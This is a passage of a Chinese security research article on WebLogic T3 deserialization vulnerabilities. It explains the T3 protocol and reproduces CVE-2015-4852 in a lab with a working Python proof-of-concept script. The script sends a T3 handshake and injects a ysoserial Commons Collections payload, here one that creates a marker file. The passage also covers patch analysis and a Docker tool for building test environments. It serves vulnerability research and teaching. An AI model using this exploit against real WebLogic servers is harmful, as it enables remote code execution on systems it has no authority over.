重啟WebLogic,即可在啟動日志中看到如下內容:
HelloImpl created and bound in the registry to the name HelloServer
并且在服務器的JNDI樹信息中可以看到HelloServer已存在:

WebLogic RMI的服務端已經部署完成,客戶端只要使用java命令正常運行即可:
$java -cp ".;wlthint3client.jar;hello-1.0-SNAPSHOT.jar" examples.rmi.hello.HelloClient 127.0.0.1 7001
運行結果如下圖:

我們完成了一次正常的WebLogic RMI調用過程,我們也來看一下WebLogic RMI的調用數據包:


我在抓包之后想過找一份完整的T3協議的定義去詳細的解釋T3協議,但或許因為WebLogic不是開源軟件,我最終沒有找到類似的協議定義文檔。因此我只能猜測T3協議包中每一部分的作用。雖然是猜測,但還是有幾點值得注意,和漏洞利用關系很大,我放到下一節說。
再來看一下WebLogic RMI的調用流程:

前置知識講完了,小結一下這些概念的關系,Java RMI即遠程方法調用,默認使用JRMP協議通信。WebLogic RMI是WebLogic對Java RMI的實現,其使用T3或IIOP協議作為通信協議。無論是Java RMI還是WebLogic RMI,都需要使用JNDI去發現遠端的RMI服務。
兩張圖來解釋它們的關系:

漏洞原理
上面,我詳細解釋了WebLogic RMI的調用過程,我們初窺了一下T3協議。那么現在我們來仔細看一下剛才抓到的正常WebLogic RMI調用時T3協議握手后的第一個數據包,有幾點值得注意的是:
- 我們發現每個數據包里不止包含一個序列化魔術頭(0xac 0xed 0x00 0x05)
- 每個序列化數據包前面都有相同的二進制串(0xfe 0x01 0x00 0x00)
- 每個數據包上面都包含了一個T3協議頭
- 仔細看協議頭部分,我們又發現數據包的前4個字節正好對應著數據包長度
- 以及我們也能發現包長度后面的“01”代表請求,“02”代表返回

這些點說明了T3協議由協議頭包裹,且數據包中包含多個序列化的對象。那么我們就可以嘗試構造惡意對象并封裝到數據包中重新發送了。流程如下:

替換序列化對象示意圖如下:

剩下的事情就是找到合適的利用鏈了(通常也是最難的事)。
我用最經典的CVE-2015-4852漏洞,使用Apache Commons Collections鏈復現一下整個過程,制作一個簡單的PoC。
首先使用Ysoserial生成Payload:
$java -jar ysoserial.jar CommonsCollections1 'touch /hacked_by_tunan.txt' > payload.bin
然后我們使用Python發送T3協議的握手包,直接復制剛才抓到的第一個包的內容,看下效果如何:
#!/usr/bin/python
#coding:utf-8
# weblogic_basic_poc.py
import socket
import sys
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 第一個和第二個參數,傳入目標IP和端口
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# 發送握手包
handshake='t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'
print 'sending "%s"' % handshake
sock.sendall(handshake)
data = sock.recv(1024)
print 'received "%s"' % data
執行一下看結果:
$python weblogic_basic_poc.py 127.0.0.1 7001
connecting to 127.0.0.1 port 7001
sending "t3 12.1.3
AS:255
HL:19
MS:10000000
"
received "HELO:10.3.6.0.false
AS:2048
HL:19
"
很好,和上面抓到的包一樣,握手成功。繼續下一步。下一步我需要替換掉握手后的第一個數據包中的一組序列化數據,這個數據包原本是客戶端請求WebLogic RMI發的T3協議數據包。假設我們替換第一組序列化數據:
# weblogic_basic_poc.py
# 第三個參數傳入一個文件名,在本例中為剛剛生成的“payload.bin”
payloadObj = open(sys.argv[3],'rb').read()
# 復制自原數據包,從24到155
payload='\x00\x00\x05\xf8\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x72\x00\x00\xea\x60\x00\x00\x00\x19\...omit...\x70\x06\xfe\x01\x00\x00'
# 要替換的Payload
payload=payload+payloadObj
# 復制剩余數據包,從408到1564
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61...omit...\x00\x00\x00\x00\x78'
# 重新計算數據包大小并替換原數據包中的前四個字節
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print 'sending payload...'
sock.send(payload)
PoC構造完成,驗證下效果:
$python weblogic_basic_poc.py 127.0.0.1 7001 payload.bin
connecting to 127.0.0.1 port 7001
sending "t3 12.1.3
AS:255
HL:19
MS:10000000
"
received "HELO:10.3.6.0.false
AS:2048
HL:19
"
sending payload...

執行后去目標系統根目錄下,可以看到hacked_by_tunan.txt這個文件被創建成功,漏洞觸發成功。
簡要漏洞分析
簡要的分析一下這個漏洞,遠程調試時斷點應下在wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev的readObject()中。

可以看到此處即對我生成的惡意對象進行了反序列化,此處為第一次反序列化,不是命令的執行點。后續的執行過程和經典的apache-commons-collections反序列化漏洞執行過程一致,需要繼續了解可參考@gyyyy的文章:《淺析Java序列化和反序列化——經典的apache-commons-collections》
補丁分析
WebLogic T3反序列化漏洞用黑名單的方式修復,補丁位置在Weblogic.utils.io.oif.WebLogicFilterConfig.class:

此類型漏洞也經歷了多次修復繞過的過程。
WebLogic其他漏洞
WebLogic是一個Web漏洞庫,其中以反序列化漏洞為代表,后果最為嚴重。另外還有幾個月前爆出的XXE漏洞:CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650、任意文件上傳漏洞:CVE-2018-2894。此文不再展開討論,感興趣的可以對照上表中的文章詳細了解。
WebLogic環境搭建工具
前面說到,WebLogic環境搭建過程很繁瑣,很多時候需要測試各種WebLogic版本和各種JDK版本的排列組合,因此我在這次研究的過程中寫了一個腳本級別的WebLogic環境搭建工具。這一小節我會詳細的說一下工具的構建思路和使用方法,也歡迎大家繼續完善這個工具,節省大家搭建環境的時間。工具地址:https://github.com/QAX-A-Team/WeblogicEnvironment
此環境搭建工具使用Docker和shell腳本,因此需要本機安裝Docker才可以使用。經測試漏洞搭建工具可以在3分鐘內構建出任意JDK版本搭配任意WebLogic版本,包含一個可遠程調試的已啟動的WebLogic Server域環境。
需求
- 自動化安裝任意版本JDK
- 自動化安裝任意版本WebLogic Server
- 自動化創建域
- 自動打開遠程調試
- 自動啟動一個WebLogic Server域
流程

使用方法:
下載JDK安裝包和WebLogic安裝包
下載相應的JDK版本和WebLogic安裝包,將JDK安裝包放到jdks/目錄下,將WebLogic安裝包放到weblogics/目錄下。此步驟必須手動操作,否則無法進行后續步驟。

JDK安裝包下載地址:https://www.oracle.com/technetwork/java/javase/archive-139210.htmlWebLogic安裝包下載地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
構建鏡像并運行
回到根目錄,執行Docker構建鏡像命令:
docker build --build-arg JDK_PKG=<YOUR-JDK-PACKAGE-FILE-NAME> --build-arg WEBLOGIC_JAR=<YOUR-WEBLOGIC-PACKAGE-FILE-NAME> -t <DOCKER-IMAGE-NAME> .
鏡像構建完成后,執行以下命令運行:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name <CONTAINER-NAME> <DOCKER-IMAGE-NAME-YOU-JUST-BUILD>
以WebLogic12.1.3配JDK 7u21為例,構建鏡像命令如下:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar -t weblogic12013jdk7u21 .
鏡像構建完成后,執行以下命令運行:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21
運行后可訪問http://localhost:7001/console/login/LoginForm.jsp登錄到WebLogic Server管理控制臺,默認用戶名為weblogic,默認密碼為qaxateam01
遠程調試
如需遠程調試,需使用docker cp將遠程調試需要的目錄從已運行的容器復制到本機。
也可以使用run_weblogic1036jdk6u25.sh、run_weblogic12013jdk7u21sh、run_weblogic12021jdk8u121.sh這三個腳本進行快速環境搭建并復制遠程調試需要用到的目錄。執行前請賦予它們相應的可執行權限。
示例
以JDK 7u21配合WebLogic 12.1.3為例,自動搭建效果如下:

兼容性測試
已測試了如下環境搭配的兼容性:
- 測試系統:macOS Mojave 10.14.5
- Docker版本:Docker 18.09.2
- WebLogic 10.3.6 With JDK 6u25
- WebLogic 10.3.6 With JDK 7u21
- WebLogic 10.3.6 With JDK 8u121
- WebLogic 12.1.3 With JDK 7u21
- WebLogic 12.1.3 With JDK 8u121
- WebLogic 12.2.1 With JDK 8u121
已知問題
- 由于時間關系,我沒有對更多WebLogic版本和更多的JDK版本搭配做測試,請自行測試
- 請時刻關注輸出內容,如出現異常請自行修改對應腳本
歡迎大家一起為此自動化環境搭建工具貢獻力量。
總結
分析WebLogic漏洞異常辛苦,因為沒有足夠的資料去研究。因此想寫這篇文幫助大家。但這篇文行文也異常痛苦,同樣是沒有資料,官方文檔還有很多錯誤,很無奈。希望這篇文能對WebLogic的安全研究者有所幫助。不過通過寫這篇文,我發現無論怎樣也只是觸及到了WebLogic的冰山一角,它很龐大,或者不客氣的說很臃腫。我們能了解的太少太少,也注定還有很多點是沒有被人開發過,比如WebLogic RMI不止T3一種協議,實現weblogic.jndi.WLInitialContextFactory的也不止有wlthint3client.jar這一個jar包。還望大家繼續深挖。
參考
- https://xz.aliyun.com/t/5448
- http://www.bjnorthway.com/584/
- http://www.bjnorthway.com/333/
- https://xz.aliyun.com/t/1825/#toc-2
- http://www.saxproject.org/copying.html
- https://www.4hou.com/vulnerable/12874.html
- https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/
- https://mp.weixin.qq.com/s/QYrPrctdDJl6sgcKGHdZ7g
- https://docs.oracle.com/cd/E11035_01/wls100/client/index.html
- https://docs.oracle.com/cd/E11035_01/wls100/client/index.html
- https://docs.oracle.com/middleware/12212/wls/INTRO/preface.htm#INTRO119
- https://docs.oracle.com/middleware/1213/wls/WLRMI/preface.htm#WLRMI101
- https://docs.oracle.com/middleware/11119/wls/WLRMI/rmi_imp.htm#g1000014983
- https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md
- http://www.wxylyw.com/2018/11/03/WebLogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1012/
暫無評論